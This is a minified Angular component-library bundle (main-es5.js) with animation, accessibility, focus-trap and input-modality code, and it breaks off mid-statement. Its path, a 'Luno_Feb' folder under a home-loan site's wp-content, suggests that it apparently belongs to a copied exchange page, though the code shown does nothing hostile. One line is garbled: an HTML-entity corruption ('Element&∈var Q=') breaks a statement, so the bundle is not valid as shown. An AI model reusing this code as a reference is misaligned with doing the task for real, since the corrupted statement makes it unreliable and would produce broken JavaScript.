File: /var/www/html/belairhomeloan.com/wp-content/Luno_Feb/index_files/main-es5.js
!function(){function t(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function e(t){var i="function"==typeof Map?new Map:void 0;return(e=function(t){if(null===t||(e=t,-1===Function.toString.call(e).indexOf("[native code]")))return t;var e;if("function"!=typeof t)throw new TypeError("Super expression must either be null or a function");if(void 0!==i){if(i.has(t))return i.get(t);i.set(t,r)}function r(){return n(t,arguments,m(this).constructor)}return r.prototype=Object.create(t.prototype,{constructor:{value:r,enumerable:!1,writable:!0,configurable:!0}}),h(r,t)})(t)}function n(t,e,i){return(n=v()?Reflect.construct:function(t,e,n){var i=[null];i.push.apply(i,e);var r=new(Function.bind.apply(t,i));return n&&h(r,n.prototype),r}).apply(null,arguments)}function i(t){return function(t){if(Array.isArray(t))return s(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||a(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function r(t,e){var n="undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(!n){if(Array.isArray(t)||(n=a(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,s=!0,u=!1;return{s:function(){n=n.call(t)},n:function(){var t=n.next();return s=t.done,t},e:function(t){u=!0,o=t},f:function(){try{s||null==n.return||n.return()}finally{if(u)throw o}}}}function o(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){var n=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null==n)return;var i,r,o=[],a=!0,s=!1;try{for(n=n.call(t);!(a=(i=n.next()).done)&&(o.push(i.value),!e||o.length!==e);a=!0);}catch(u){s=!0,r=u}finally{try{a||null==n.return||n.return()}finally{if(s)throw r}}return o}(t,e)||a(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function a(t,e){if(t){if("string"==typeof t)return s(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);return"Object"===n&&t.constructor&&(n=t.constructor.name),"Map"===n||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?s(t,e):void 0}}function s(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function u(){return(u="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(t,e,n){var i=c(t,e);if(i){var r=Object.getOwnPropertyDescriptor(i,e);return r.get?r.get.call(arguments.length<3?t:n):r.value}}).apply(this,arguments)}function c(t,e){for(;!Object.prototype.hasOwnProperty.call(t,e)&&null!==(t=m(t)););return t}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&h(t,e)}function h(t,e){return(h=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function f(t){var e=v();return function(){var n,i=m(t);if(e){var r=m(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return d(this,n)}}function d(t,e){if(e&&("object"==typeof e||"function"==typeof e))return e;if(void 0!==e)throw new TypeError("Derived constructors may only return object or undefined");return p(t)}function p(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function v(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(t){return!1}}function m(t){return(m=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function g(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function y(t,e,n){return e&&g(t.prototype,e),n&&g(t,n),t}function _(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(self.webpackChunkupgrade=self.webpackChunkupgrade||[]).push([[179],{97175:function(t,e,n){"use strict";n.d(e,{l3:function(){return o},_j:function(){return i},LC:function(){return r},ZN:function(){return m},jt:function(){return s},pV:function(){return d},F4:function(){return h},IO:function(){return p},vP:function(){return u},SB:function(){return l},oB:function(){return c},eR:function(){return f},X$:function(){return a},ZE:function(){return g},k1:function(){return b}});var i=function t(){_(this,t)},r=function t(){_(this,t)},o="*";function a(t,e){return{type:7,name:t,definitions:e,options:{}}}function s(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return{type:4,styles:e,timings:t}}function u(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return{type:2,steps:t,options:e}}function c(t){return{type:6,styles:t,offset:null}}function l(t,e,n){return{type:0,name:t,styles:e,options:n}}function h(t){return{type:5,steps:t}}function f(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;return{type:1,expr:t,animation:e,options:n}}function d(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;return{type:9,options:t}}function p(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;return{type:11,selector:t,animation:e,options:n}}function v(t){Promise.resolve(null).then(t)}var m=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;_(this,t),this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._started=!1,this._destroyed=!1,this._finished=!1,this._position=0,this.parentPlayer=null,this.totalTime=e+n}return y(t,[{key:"_onFinish",value:function(){this._finished||(this._finished=!0,this._onDoneFns.forEach(function(t){return t()}),this._onDoneFns=[])}},{key:"onStart",value:function(t){this._onStartFns.push(t)}},{key:"onDone",value:function(t){this._onDoneFns.push(t)}},{key:"onDestroy",value:function(t){this._onDestroyFns.push(t)}},{key:"hasStarted",value:function(){return this._started}},{key:"init",value:function(){}},{key:"play",value:function(){this.hasStarted()||(this._onStart(),this.triggerMicrotask()),this._started=!0}},{key:"triggerMicrotask",value:function(){var t=this;v(function(){return t._onFinish()})}},{key:"_onStart",value:function(){this._onStartFns.forEach(function(t){return t()}),this._onStartFns=[]}},{key:"pause",value:function(){}},{key:"restart",value:function(){}},{key:"finish",value:function(){this._onFinish()}},{key:"destroy",value:function(){this._destroyed||(this._destroyed=!0,this.hasStarted()||this._onStart(),this.finish(),this._onDestroyFns.forEach(function(t){return t()}),this._onDestroyFns=[])}},{key:"reset",value:function(){this._started=!1}},{key:"setPosition",value:function(t){this._position=this.totalTime?t*this.totalTime:1}},{key:"getPosition",value:function(){return this.totalTime?this._position/this.totalTime:1}},{key:"triggerCallback",value:function(t){var e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(function(t){return t()}),e.length=0}}]),t}(),g=function(){function t(e){var n=this;_(this,t),this._onDoneFns=[],this._onStartFns=[],this._finished=!1,this._started=!1,this._destroyed=!1,this._onDestroyFns=[],this.parentPlayer=null,this.totalTime=0,this.players=e;var i=0,r=0,o=0,a=this.players.length;0==a?v(function(){return n._onFinish()}):this.players.forEach(function(t){t.onDone(function(){++i==a&&n._onFinish()}),t.onDestroy(function(){++r==a&&n._onDestroy()}),t.onStart(function(){++o==a&&n._onStart()})}),this.totalTime=this.players.reduce(function(t,e){return Math.max(t,e.totalTime)},0)}return y(t,[{key:"_onFinish",value:function(){this._finished||(this._finished=!0,this._onDoneFns.forEach(function(t){return t()}),this._onDoneFns=[])}},{key:"init",value:function(){this.players.forEach(function(t){return t.init()})}},{key:"onStart",value:function(t){this._onStartFns.push(t)}},{key:"_onStart",value:function(){this.hasStarted()||(this._started=!0,this._onStartFns.forEach(function(t){return t()}),this._onStartFns=[])}},{key:"onDone",value:function(t){this._onDoneFns.push(t)}},{key:"onDestroy",value:function(t){this._onDestroyFns.push(t)}},{key:"hasStarted",value:function(){return this._started}},{key:"play",value:function(){this.parentPlayer||this.init(),this._onStart(),this.players.forEach(function(t){return t.play()})}},{key:"pause",value:function(){this.players.forEach(function(t){return t.pause()})}},{key:"restart",value:function(){this.players.forEach(function(t){return t.restart()})}},{key:"finish",value:function(){this._onFinish(),this.players.forEach(function(t){return t.finish()})}},{key:"destroy",value:function(){this._onDestroy()}},{key:"_onDestroy",value:function(){this._destroyed||(this._destroyed=!0,this._onFinish(),this.players.forEach(function(t){return t.destroy()}),this._onDestroyFns.forEach(function(t){return t()}),this._onDestroyFns=[])}},{key:"reset",value:function(){this.players.forEach(function(t){return t.reset()}),this._destroyed=!1,this._finished=!1,this._started=!1}},{key:"setPosition",value:function(t){var e=t*this.totalTime;this.players.forEach(function(t){var n=t.totalTime?Math.min(1,e/t.totalTime):1;t.setPosition(n)})}},{key:"getPosition",value:function(){var t=this.players.reduce(function(t,e){return null===t||e.totalTime>t.totalTime?e:t},null);return null!=t?t.getPosition():0}},{key:"beforeDestroy",value:function(){this.players.forEach(function(t){t.beforeDestroy&&t.beforeDestroy()})}},{key:"triggerCallback",value:function(t){var e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(function(t){return t()}),e.length=0}}]),t}(),b="!"},51606:function(t,e,n){"use strict";n.d(e,{rt:function(){return ft},s1:function(){return j},$s:function(){return M},Qr:function(){return it},kH:function(){return st},mK:function(){return Z},Em:function(){return H},tE:function(){return at},qV:function(){return z},qm:function(){return ht},Kd:function(){return nt},X6:function(){return W},yG:function(){return J}});var i=n(54364),r=n(2316),a=n(79441),s=n(11318),c=n(76491),h=n(81134),d=n(90084),p=n(14921),v=n(80639),g=n(9170),b=n(33927),k=n(53466),w=n(84515),C=n(83720),x=n(22663),S=n(20657),E=n(36145),A=n(90851);function T(t,e){return(t.getAttribute(e)||"").match(/\S+/g)||[]}var I,O="cdk-describedby-message-container",R="cdk-describedby-message",P="cdk-describedby-host",N=0,D=new Map,L=null,M=((I=function(){function t(e){_(this,t),this._document=e}return y(t,[{key:"describe",value:function(t,e,n){if(this._canBeDescribed(t,e)){var i=F(e,n);"string"!=typeof e?(U(e),D.set(i,{messageElement:e,referenceCount:0})):D.has(i)||this._createMessageElement(e,n),this._isElementDescribedByMessage(t,i)||this._addMessageReference(t,i)}}},{key:"removeDescription",value:function(t,e,n){if(e&&this._isElementNode(t)){var i=F(e,n);if(this._isElementDescribedByMessage(t,i)&&this._removeMessageReference(t,i),"string"==typeof e){var r=D.get(i);r&&0===r.referenceCount&&this._deleteMessageElement(i)}L&&0===L.childNodes.length&&this._deleteMessagesContainer()}}},{key:"ngOnDestroy",value:function(){for(var t=this._document.querySelectorAll("[".concat(P,"]")),e=0;e<t.length;e++)this._removeCdkDescribedByReferenceIds(t[e]),t[e].removeAttribute(P);L&&this._deleteMessagesContainer(),D.clear()}},{key:"_createMessageElement",value:function(t,e){var n=this._document.createElement("div");U(n),n.textContent=t,e&&n.setAttribute("role",e),this._createMessagesContainer(),L.appendChild(n),D.set(F(t,e),{messageElement:n,referenceCount:0})}},{key:"_deleteMessageElement",value:function(t){var e=D.get(t),n=e&&e.messageElement;L&&n&&L.removeChild(n),D.delete(t)}},{key:"_createMessagesContainer",value:function(){if(!L){var t=this._document.getElementById(O);t&&t.parentNode&&t.parentNode.removeChild(t),(L=this._document.createElement("div")).id=O,L.style.visibility="hidden",L.classList.add("cdk-visually-hidden"),this._document.body.appendChild(L)}}},{key:"_deleteMessagesContainer",value:function(){L&&L.parentNode&&(L.parentNode.removeChild(L),L=null)}},{key:"_removeCdkDescribedByReferenceIds",value:function(t){var e=T(t,"aria-describedby").filter(function(t){return 0!=t.indexOf(R)});t.setAttribute("aria-describedby",e.join(" "))}},{key:"_addMessageReference",value:function(t,e){var n=D.get(e);(function(t,e,n){var i=T(t,e);i.some(function(t){return t.trim()==n.trim()})||(i.push(n.trim()),t.setAttribute(e,i.join(" ")))})(t,"aria-describedby",n.messageElement.id),t.setAttribute(P,""),n.referenceCount++}},{key:"_removeMessageReference",value:function(t,e){var n=D.get(e);n.referenceCount--,function(t,e,n){var i=T(t,e).filter(function(t){return t!=n.trim()});i.length?t.setAttribute(e,i.join(" ")):t.removeAttribute(e)}(t,"aria-describedby",n.messageElement.id),t.removeAttribute(P)}},{key:"_isElementDescribedByMessage",value:function(t,e){var n=T(t,"aria-describedby"),i=D.get(e),r=i&&i.messageElement.id;return!!r&&-1!=n.indexOf(r)}},{key:"_canBeDescribed",value:function(t,e){if(!this._isElementNode(t))return!1;if(e&&"object"==typeof e)return!0;var n=null==e?"":"".concat(e).trim(),i=t.getAttribute("aria-label");return!(!n||i&&i.trim()===n)}},{key:"_isElementNode",value:function(t){return t.nodeType===this._document.ELEMENT_NODE}}]),t}()).\u0275fac=function(t){return new(t||I)(r.LFG(i.K0))},I.\u0275prov=r.Yz7({factory:function(){return new I(r.LFG(i.K0))},token:I,providedIn:"root"}),I);function F(t,e){return"string"==typeof t?"".concat(e||"","/").concat(t):t}function U(t){t.id||(t.id="".concat(R,"-").concat(N++))}var B=function(){function t(e){var n=this;_(this,t),this._items=e,this._activeItemIndex=-1,this._activeItem=null,this._wrap=!1,this._letterKeyStream=new a.xQ,this._typeaheadSubscription=s.w.EMPTY,this._vertical=!0,this._allowedModifierKeys=[],this._homeAndEnd=!1,this._skipPredicateFn=function(t){return t.disabled},this._pressedLetters=[],this.tabOut=new a.xQ,this.change=new a.xQ,e instanceof r.n_E&&e.changes.subscribe(function(t){if(n._activeItem){var e=t.toArray().indexOf(n._activeItem);e>-1&&e!==n._activeItemIndex&&(n._activeItemIndex=e)}})}return y(t,[{key:"skipPredicate",value:function(t){return this._skipPredicateFn=t,this}},{key:"withWrap",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._wrap=t,this}},{key:"withVerticalOrientation",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._vertical=t,this}},{key:"withHorizontalOrientation",value:function(t){return this._horizontal=t,this}},{key:"withAllowedModifierKeys",value:function(t){return this._allowedModifierKeys=t,this}},{key:"withTypeAhead",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:200;return this._typeaheadSubscription.unsubscribe(),this._typeaheadSubscription=this._letterKeyStream.pipe((0,p.b)(function(e){return t._pressedLetters.push(e)}),(0,v.b)(e),(0,g.h)(function(){return t._pressedLetters.length>0}),(0,b.U)(function(){return t._pressedLetters.join("")})).subscribe(function(e){for(var n=t._getItemsArray(),i=1;i<n.length+1;i++){var r=(t._activeItemIndex+i)%n.length,o=n[r];if(!t._skipPredicateFn(o)&&0===o.getLabel().toUpperCase().trim().indexOf(e)){t.setActiveItem(r);break}}t._pressedLetters=[]}),this}},{key:"withHomeAndEnd",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._homeAndEnd=t,this}},{key:"setActiveItem",value:function(t){var e=this._activeItem;this.updateActiveItem(t),this._activeItem!==e&&this.change.next(this._activeItemIndex)}},{key:"onKeydown",value:function(t){var e=this,n=t.keyCode,i=["altKey","ctrlKey","metaKey","shiftKey"].every(function(n){return!t[n]||e._allowedModifierKeys.indexOf(n)>-1});switch(n){case d.Mf:return void this.tabOut.next();case d.JH:if(this._vertical&&i){this.setNextItemActive();break}return;case d.LH:if(this._vertical&&i){this.setPreviousItemActive();break}return;case d.SV:if(this._horizontal&&i){"rtl"===this._horizontal?this.setPreviousItemActive():this.setNextItemActive();break}return;case d.oh:if(this._horizontal&&i){"rtl"===this._horizontal?this.setNextItemActive():this.setPreviousItemActive();break}return;case d.Sd:if(this._homeAndEnd&&i){this.setFirstItemActive();break}return;case d.uR:if(this._homeAndEnd&&i){this.setLastItemActive();break}return;default:return void((i||(0,d.Vb)(t,"shiftKey"))&&(t.key&&1===t.key.length?this._letterKeyStream.next(t.key.toLocaleUpperCase()):(n>=d.A&&n<=d.Z||n>=d.xE&&n<=d.aO)&&this._letterKeyStream.next(String.fromCharCode(n))))}this._pressedLetters=[],t.preventDefault()}},{key:"activeItemIndex",get:function(){return this._activeItemIndex}},{key:"activeItem",get:function(){return this._activeItem}},{key:"isTyping",value:function(){return this._pressedLetters.length>0}},{key:"setFirstItemActive",value:function(){this._setActiveItemByIndex(0,1)}},{key:"setLastItemActive",value:function(){this._setActiveItemByIndex(this._items.length-1,-1)}},{key:"setNextItemActive",value:function(){this._activeItemIndex<0?this.setFirstItemActive():this._setActiveItemByDelta(1)}},{key:"setPreviousItemActive",value:function(){this._activeItemIndex<0&&this._wrap?this.setLastItemActive():this._setActiveItemByDelta(-1)}},{key:"updateActiveItem",value:function(t){var e=this._getItemsArray(),n="number"==typeof t?t:e.indexOf(t),i=e[n];this._activeItem=null==i?null:i,this._activeItemIndex=n}},{key:"_setActiveItemByDelta",value:function(t){this._wrap?this._setActiveInWrapMode(t):this._setActiveInDefaultMode(t)}},{key:"_setActiveInWrapMode",value:function(t){for(var e=this._getItemsArray(),n=1;n<=e.length;n++){var i=(this._activeItemIndex+t*n+e.length)%e.length;if(!this._skipPredicateFn(e[i]))return void this.setActiveItem(i)}}},{key:"_setActiveInDefaultMode",value:function(t){this._setActiveItemByIndex(this._activeItemIndex+t,t)}},{key:"_setActiveItemByIndex",value:function(t,e){var n=this._getItemsArray();if(n[t]){for(;this._skipPredicateFn(n[t]);)if(!n[t+=e])return;this.setActiveItem(t)}}},{key:"_getItemsArray",value:function(){return this._items instanceof r.n_E?this._items.toArray():this._items}}]),t}(),j=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"setActiveItem",value:function(t){this.activeItem&&this.activeItem.setInactiveStyles(),u(m(n.prototype),"setActiveItem",this).call(this,t),this.activeItem&&this.activeItem.setActiveStyles()}}]),n}(B),H=function(t){l(n,t);var e=f(n);function n(){var t;return _(this,n),(t=e.apply(this,arguments))._origin="program",t}return y(n,[{key:"setFocusOrigin",value:function(t){return this._origin=t,this}},{key:"setActiveItem",value:function(t){u(m(n.prototype),"setActiveItem",this).call(this,t),this.activeItem&&this.activeItem.focus(this._origin)}}]),n}(B),V=function(){var t=function(){function t(e){_(this,t),this._platform=e}return y(t,[{key:"isDisabled",value:function(t){return t.hasAttribute("disabled")}},{key:"isVisible",value:function(t){return function(t){return!!(t.offsetWidth||t.offsetHeight||"function"==typeof t.getClientRects&&t.getClientRects().length)}(t)&&"visible"===getComputedStyle(t).visibility}},{key:"isTabbable",value:function(t){if(!this._platform.isBrowser)return!1;var e=function(t){try{return t.frameElement}catch(e){return null}}(function(t){return t.ownerDocument&&t.ownerDocument.defaultView||window}(t));if(e&&(-1===Y(e)||!this.isVisible(e)))return!1;var n=t.nodeName.toLowerCase(),i=Y(t);return t.hasAttribute("contenteditable")?-1!==i:!("iframe"===n||"object"===n||this._platform.WEBKIT&&this._platform.IOS&&!function(t){var e=t.nodeName.toLowerCase(),n="input"===e&&t.type;return"text"===n||"password"===n||"select"===e||"textarea"===e}(t))&&("audio"===n?!!t.hasAttribute("controls")&&-1!==i:"video"===n?-1!==i&&(null!==i||this._platform.FIREFOX||t.hasAttribute("controls")):t.tabIndex>=0)}},{key:"isFocusable",value:function(t,e){return function(t){return!function(t){return function(t){return"input"==t.nodeName.toLowerCase()}(t)&&"hidden"==t.type}(t)&&(function(t){var e=t.nodeName.toLowerCase();return"input"===e||"select"===e||"button"===e||"textarea"===e}(t)||function(t){return function(t){return"a"==t.nodeName.toLowerCase()}(t)&&t.hasAttribute("href")}(t)||t.hasAttribute("contenteditable")||G(t))}(t)&&!this.isDisabled(t)&&((null==e?void 0:e.ignoreVisibility)||this.isVisible(t))}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.LFG(E.t4))},t.\u0275prov=r.Yz7({factory:function(){return new t(r.LFG(E.t4))},token:t,providedIn:"root"}),t}();function G(t){if(!t.hasAttribute("tabindex")||void 0===t.tabIndex)return!1;var e=t.getAttribute("tabindex");return"-32768"!=e&&!(!e||isNaN(parseInt(e,10)))}function Y(t){if(!G(t))return null;var e=parseInt(t.getAttribute("tabindex")||"",10);return isNaN(e)?-1:e}var q=function(){function t(e,n,i,r){var o=this,a=arguments.length>4&&void 0!==arguments[4]&&arguments[4];_(this,t),this._element=e,this._checker=n,this._ngZone=i,this._document=r,this._hasAttached=!1,this.startAnchorListener=function(){return o.focusLastTabbableElement()},this.endAnchorListener=function(){return o.focusFirstTabbableElement()},this._enabled=!0,a||this.attachAnchors()}return y(t,[{key:"enabled",get:function(){return this._enabled},set:function(t){this._enabled=t,this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(t,this._startAnchor),this._toggleAnchorTabIndex(t,this._endAnchor))}},{key:"destroy",value:function(){var t=this._startAnchor,e=this._endAnchor;t&&(t.removeEventListener("focus",this.startAnchorListener),t.parentNode&&t.parentNode.removeChild(t)),e&&(e.removeEventListener("focus",this.endAnchorListener),e.parentNode&&e.parentNode.removeChild(e)),this._startAnchor=this._endAnchor=null,this._hasAttached=!1}},{key:"attachAnchors",value:function(){var t=this;return!!this._hasAttached||(this._ngZone.runOutsideAngular(function(){t._startAnchor||(t._startAnchor=t._createAnchor(),t._startAnchor.addEventListener("focus",t.startAnchorListener)),t._endAnchor||(t._endAnchor=t._createAnchor(),t._endAnchor.addEventListener("focus",t.endAnchorListener))}),this._element.parentNode&&(this._element.parentNode.insertBefore(this._startAnchor,this._element),this._element.parentNode.insertBefore(this._endAnchor,this._element.nextSibling),this._hasAttached=!0),this._hasAttached)}},{key:"focusInitialElementWhenReady",value:function(t){var e=this;return new Promise(function(n){e._executeOnStable(function(){return n(e.focusInitialElement(t))})})}},{key:"focusFirstTabbableElementWhenReady",value:function(t){var e=this;return new Promise(function(n){e._executeOnStable(function(){return n(e.focusFirstTabbableElement(t))})})}},{key:"focusLastTabbableElementWhenReady",value:function(t){var e=this;return new Promise(function(n){e._executeOnStable(function(){return n(e.focusLastTabbableElement(t))})})}},{key:"_getRegionBoundary",value:function(t){for(var e=this._element.querySelectorAll("[cdk-focus-region-".concat(t,"], [cdkFocusRegion").concat(t,"], [cdk-focus-").concat(t,"]")),n=0;n<e.length;n++)e[n].hasAttribute("cdk-focus-".concat(t))?console.warn("Found use of deprecated attribute 'cdk-focus-".concat(t,"', use 'cdkFocusRegion").concat(t,"' instead. The deprecated attribute will be removed in 8.0.0."),e[n]):e[n].hasAttribute("cdk-focus-region-".concat(t))&&console.warn("Found use of deprecated attribute 'cdk-focus-region-".concat(t,"', use 'cdkFocusRegion").concat(t,"' instead. The deprecated attribute will be removed in 8.0.0."),e[n]);return"start"==t?e.length?e[0]:this._getFirstTabbableElement(this._element):e.length?e[e.length-1]:this._getLastTabbableElement(this._element)}},{key:"focusInitialElement",value:function(t){var e=this._element.querySelector("[cdk-focus-initial], [cdkFocusInitial]");if(e){if(e.hasAttribute("cdk-focus-initial")&&console.warn("Found use of deprecated attribute 'cdk-focus-initial', use 'cdkFocusInitial' instead. The deprecated attribute will be removed in 8.0.0",e),!this._checker.isFocusable(e)){var n=this._getFirstTabbableElement(e);return null==n||n.focus(t),!!n}return e.focus(t),!0}return this.focusFirstTabbableElement(t)}},{key:"focusFirstTabbableElement",value:function(t){var e=this._getRegionBoundary("start");return e&&e.focus(t),!!e}},{key:"focusLastTabbableElement",value:function(t){var e=this._getRegionBoundary("end");return e&&e.focus(t),!!e}},{key:"hasAttached",value:function(){return this._hasAttached}},{key:"_getFirstTabbableElement",value:function(t){if(this._checker.isFocusable(t)&&this._checker.isTabbable(t))return t;for(var e=t.children||t.childNodes,n=0;n<e.length;n++){var i=e[n].nodeType===this._document.ELEMENT_NODE?this._getFirstTabbableElement(e[n]):null;if(i)return i}return null}},{key:"_getLastTabbableElement",value:function(t){if(this._checker.isFocusable(t)&&this._checker.isTabbable(t))return t;for(var e=t.children||t.childNodes,n=e.length-1;n>=0;n--){var i=e[n].nodeType===this._document.ELEMENT_NODE?this._getLastTabbableElement(e[n]):null;if(i)return i}return null}},{key:"_createAnchor",value:function(){var t=this._document.createElement("div");return this._toggleAnchorTabIndex(this._enabled,t),t.classList.add("cdk-visually-hidden"),t.classList.add("cdk-focus-trap-anchor"),t.setAttribute("aria-hidden","true"),t}},{key:"_toggleAnchorTabIndex",value:function(t,e){t?e.setAttribute("tabindex","0"):e.removeAttribute("tabindex")}},{key:"toggleAnchors",value:function(t){this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(t,this._startAnchor),this._toggleAnchorTabIndex(t,this._endAnchor))}},{key:"_executeOnStable",value:function(t){this._ngZone.isStable?t():this._ngZone.onStable.pipe((0,k.q)(1)).subscribe(t)}}]),t}(),z=function(){var t=function(){function t(e,n,i){_(this,t),this._checker=e,this._ngZone=n,this._document=i}return y(t,[{key:"create",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return new q(t,this._checker,this._ngZone,this._document,e)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.LFG(V),r.LFG(r.R0b),r.LFG(i.K0))},t.\u0275prov=r.Yz7({factory:function(){return new t(r.LFG(V),r.LFG(r.R0b),r.LFG(i.K0))},token:t,providedIn:"root"}),t}(),Z=function(){var t=function(){function t(e,n,i){_(this,t),this._elementRef=e,this._focusTrapFactory=n,this._previouslyFocusedElement=null,this.focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement,!0)}return y(t,[{key:"enabled",get:function(){return this.focusTrap.enabled},set:function(t){this.focusTrap.enabled=(0,S.Ig)(t)}},{key:"autoCapture",get:function(){return this._autoCapture},set:function(t){this._autoCapture=(0,S.Ig)(t)}},{key:"ngOnDestroy",value:function(){this.focusTrap.destroy(),this._previouslyFocusedElement&&(this._previouslyFocusedElement.focus(),this._previouslyFocusedElement=null)}},{key:"ngAfterContentInit",value:function(){this.focusTrap.attachAnchors(),this.autoCapture&&this._captureFocus()}},{key:"ngDoCheck",value:function(){this.focusTrap.hasAttached()||this.focusTrap.attachAnchors()}},{key:"ngOnChanges",value:function(t){var e=t.autoCapture;e&&!e.firstChange&&this.autoCapture&&this.focusTrap.hasAttached()&&this._captureFocus()}},{key:"_captureFocus",value:function(){this._previouslyFocusedElement=(0,E.ht)(),this.focusTrap.focusInitialElementWhenReady()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.Y36(r.SBq),r.Y36(z),r.Y36(i.K0))},t.\u0275dir=r.lG2({type:t,selectors:[["","cdkTrapFocus",""]],inputs:{enabled:["cdkTrapFocus","enabled"],autoCapture:["cdkTrapFocusAutoCapture","autoCapture"]},exportAs:["cdkTrapFocus"],features:[r.TTD]}),t}();function W(t){return 0===t.offsetX&&0===t.offsetY}function J(t){var e=t.touches&&t.touches[0]||t.changedTouches&&t.changedTouches[0];return!(!e||-1!==e.identifier||null!=e.radiusX&&1!==e.radiusX||null!=e.radiusY&&1!==e.radiusY)}"undefined"!=typeof Element&∈var Q=new r.OlP("cdk-input-modality-detector-options"),K={ignoreKeys:[d.zL,d.jx,d.b2,d.MW,d.JU]},X=(0,E.i$)({passive:!0,capture:!0}),$=function(){var t=function(){function t(e,n,i,r){var o=this;_(this,t),this._platform=e,this._mostRecentTarget=null,this._modality=new c.X(null),this._lastTouchMs=0,this._onKeydown=function(t){var e,n;(null===(n=null===(e=o._options)||void 0===e?void 0:e.ignoreKeys)||void 0===n?void 0:n.some(function(e){return e===t.keyCode}))||(o._modality.next("keyboard"),o._mostRecentTarget=(0,E.sA)(t))},this._onMousedown=function(t){Date.now()-o._lastTouchMs<650||(o._modality.next(W(t)?"keyboard":"mouse"),o._mostRecentTarget=(0,E.sA)(t))},this._onTouchstart=function(t){J(t)?o._modality.next("keyboard"):(o._lastTouchMs=Date.now(),o._modality.next("touch"),o._mostRecentTarget=(0,E.sA)(t))},this._options=Object.assign(Object.assign({},K),r),this.modalityDetected=this._modality.pipe((0,w.T)(1)),this.modalityChanged=this.modalityDetected.pipe((0,C.x)()),e.isBrowser&&n.runOutsideAngular(function(){i.addEventListener("keydown",o._onKeydown,X),i.addEventListener("mousedown",o._onMousedown,X),i.addEventListener("touchstart",o._onTouchstart,X)})}return y(t,[{key:"mostRecentModality",get:function(){return this._modality.value}},{key:"ngOnDestroy",value:function(){this._modality.complete(),this._platform.isBrowser&&(document.removeEventListener("keydown",this._onKeydown,X),document.removeEventListener("mousedown",this._onMousedown,X),document.removeEventListener("touchstart",this._onTouchstart,X))}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.LFG(E.t4),r.LFG(r.R0b),r.LFG(i.K0),r.LFG(Q,8))},t.\u0275prov=r.Yz7({factory:function(){return new t(r.LFG(E.t4),r.LFG(r.R0b),r.LFG(i.K0),r.LFG(Q,8))},token:t,providedIn:"root"}),t}(),tt=new r.OlP("liveAnnouncerElement",{providedIn:"root",factory:function(){return null}}),et=new r.OlP("LIVE_ANNOUNCER_DEFAULT_OPTIONS"),nt=function(){var t=function(){function t(e,n,i,r){_(this,t),this._ngZone=n,this._defaultOptions=r,this._document=i,this._liveElement=e||this._createLiveElement()}return y(t,[{key:"announce",value:function(t){for(var e,n,i,r=this,a=this._defaultOptions,s=arguments.length,u=new Array(s>1?s-1:0),c=1;c<s;c++)u[c-1]=arguments[c];return 1===u.length&&"number"==typeof 